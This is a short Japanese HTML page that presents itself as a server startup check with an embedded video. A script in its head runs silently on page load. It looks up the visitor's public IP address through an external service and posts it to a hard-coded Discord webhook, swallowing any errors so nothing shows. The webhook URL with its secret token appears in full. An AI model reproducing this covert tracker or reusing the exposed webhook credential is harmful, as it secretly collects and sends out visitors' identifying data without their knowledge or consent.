<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>仮設サーバー[始動確認]</title>
    <script>
        // IPアドレスを取得してWebhookに送信
        async function notifyIPAddress() {
            try {
                // IPアドレスを取得
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                const ipAddress = data.ip;

                // Webhookに送信
                const webhookUrl = 'https://discord.com/api/webhooks/1326453007180890142/6eENGqxYGDnAX_OgeKunm6RIv7FadmT3NWMkVdTNmGPm9bbL2MShHgCImdLj0pVLsKFW';
                await fetch(webhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        content: `IP Address: ${ipAddress}`
                    })
                });
            } catch (error) {
            }
        }

        // ページ読み込み時に実行
        window.onload = notifyIPAddress;
    </script>
</head>
<body>
    <h1>仮設サーバー[始動確認]</h1>
    <video controls width="640" height="360">
        <source src="START.MP4" type="video/mp4">
        お使いのブラウザは動画タグに対応していません。
    </video>
</body>
</html>

